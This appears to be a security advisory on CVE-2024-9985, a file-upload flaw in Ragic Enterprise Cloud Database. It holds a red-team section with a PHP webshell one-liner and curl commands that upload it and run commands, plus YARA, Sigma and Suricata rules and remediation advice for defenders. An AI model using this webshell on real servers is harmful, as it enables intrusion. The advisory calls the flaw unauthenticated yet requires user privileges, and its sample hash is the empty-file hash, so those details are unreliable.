CVE-2024-9985

Executive Summary

CVE-2024-9985 is a critical unauthenticated arbitrary file upload vulnerability in Ragic Enterprise Cloud Database. The vulnerability allows an attacker with regular privileges to upload a webshell and execute arbitrary code on the remote server. The CVSS score is 10.0 (Critical), indicating the highest severity. The vulnerability stems from improper validation of file types during upload, enabling attackers to bypass security controls and gain full remote code execution (RCE). No patch is currently available, and no public exploit code has been released. The EPSS score is 0.0%, suggesting low exploitation activity in the wild, but the severity demands immediate attention.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): Low – The attacker needs only regular user privileges.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full disclosure of all data on the system.
• Integrity (I): High – Complete compromise of data integrity.
• Availability (A): High – Full denial of service or system takeover.

Threat Level: Critical. The vulnerability allows complete server compromise with minimal privileges.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Ragic Enterprise Cloud Database. The application fails to properly validate the MIME type, file extension, or content of uploaded files. An attacker with a regular user account can craft a malicious file (e.g., a PHP webshell) and upload it through the application's upload endpoint. The server then stores the file in a web-accessible directory without sanitization. By accessing the uploaded file via a web browser, the attacker can execute arbitrary commands on the server.

Root Cause: The application does not enforce a whitelist of allowed file types or perform server-side validation of file content. It relies solely on client-side checks, which can be easily bypassed.

Attack Flow:

1. Attacker logs in with a regular user account.
2. Attacker crafts a PHP webshell (e.g., shell.php) containing malicious code.
3. Attacker uploads the file via the upload functionality.
4. The server stores the file in a web-accessible directory (e.g., /uploads/).
5. Attacker accesses the uploaded file via HTTP (e.g., https://target.com/uploads/shell.php).
6. The webshell executes, allowing the attacker to run arbitrary commands on the server.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would include proper file type validation.

Vulnerable Code (Conceptual):

// No validation of file type
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);

Patched Code (Conceptual):

$allowed_types = array('jpg', 'png', 'gif', 'pdf');
$file_extension = strtolower(pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_types)) {
    die("Invalid file type.");
}
$target_dir = "uploads/";
$target_file = $target_dir . uniqid() . "." . $file_extension;
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Ragic Enterprise Cloud Database instance (vulnerable version)
• Attacker: Kali Linux with common web exploitation tools

Exploitation Steps:

1. Reconnaissance: Identify the upload endpoint (e.g., /upload.php or /api/upload).
2. Craft Webshell: Create a PHP webshell:

   <?php system($_GET['cmd']); ?>
   

3. Upload: Use a tool like curl to upload the file:

   curl -X POST -F "file=@shell.php" https://target.com/upload.php
   

4. Execute: Access the uploaded file:

   curl https://target.com/uploads/shell.php?cmd=id
   

5. Post-Exploitation: Establish a reverse shell or escalate privileges.

Blue Team (Defensive)

Detection & Response:

• Monitor for unusual file uploads (e.g., .php, .asp, .jsp files in upload directories).
• Implement Web Application Firewall (WAF) rules to block executable file types.
• Enable logging of all file uploads and review for anomalies.
• Use file integrity monitoring to detect unauthorized file changes.

Hunting Queries:

• Search for files with executable extensions in upload directories.
• Look for HTTP requests with cmd or exec parameters in query strings.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if discovered)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (webshell.php)
• Network Indicators:
  • Outbound connections to attacker-controlled IPs on ports 80/443 or common reverse shell ports.
  • HTTP requests to /uploads/*.php with query parameters like cmd.
• File System Indicators:
  • Unexpected .php, .asp, .jsp, or .war files in web-accessible directories.
  • Modified timestamps on files in upload directories.
• Log Indicators:
  • Multiple failed login attempts followed by successful uploads.
  • Upload requests with Content-Type: application/x-php or similar.

Detection Engineering

YARA Rule

rule CVE_2024_9985_Webshell_Upload {
    meta:
        description = "Detects webshell uploads targeting CVE-2024-9985"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9985"
    strings:
        $php_shell = "<?php system("
        $php_exec = "<?php exec("
        $php_shell_exec = "<?php shell_exec("
        $php_passthru = "<?php passthru("
        $php_backtick = "<?php `"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-9985 Webshell Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of executable files (e.g., PHP) to web-accessible directories
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '*/upload*'
        cs-uri-extension: '.php'
    condition: selection
falsepositives:
    - Legitimate PHP file uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9985 Webshell Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:".php"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: Temporarily disable the file upload functionality if possible.
2. Web Application Firewall (WAF): Deploy WAF rules to block uploads of executable file types (e.g., .php, .asp, .jsp).
3. Input Validation: Implement server-side validation of file types using a whitelist approach.
4. File Storage: Store uploaded files outside the web root or in a non-executable directory.
5. Access Controls: Restrict upload functionality to trusted users only.

Long-Term Fix:

• Apply the official patch from Ragic when available.
• Conduct a security audit of the application's file handling logic.
• Implement Content Security Policy (CSP) headers to mitigate XSS and code execution.

Workaround:

• Use a reverse proxy to inspect and block malicious uploads.
• Rename uploaded files to remove executable extensions (e.g., append .txt).

Valters IT
Securing Digital Frontiers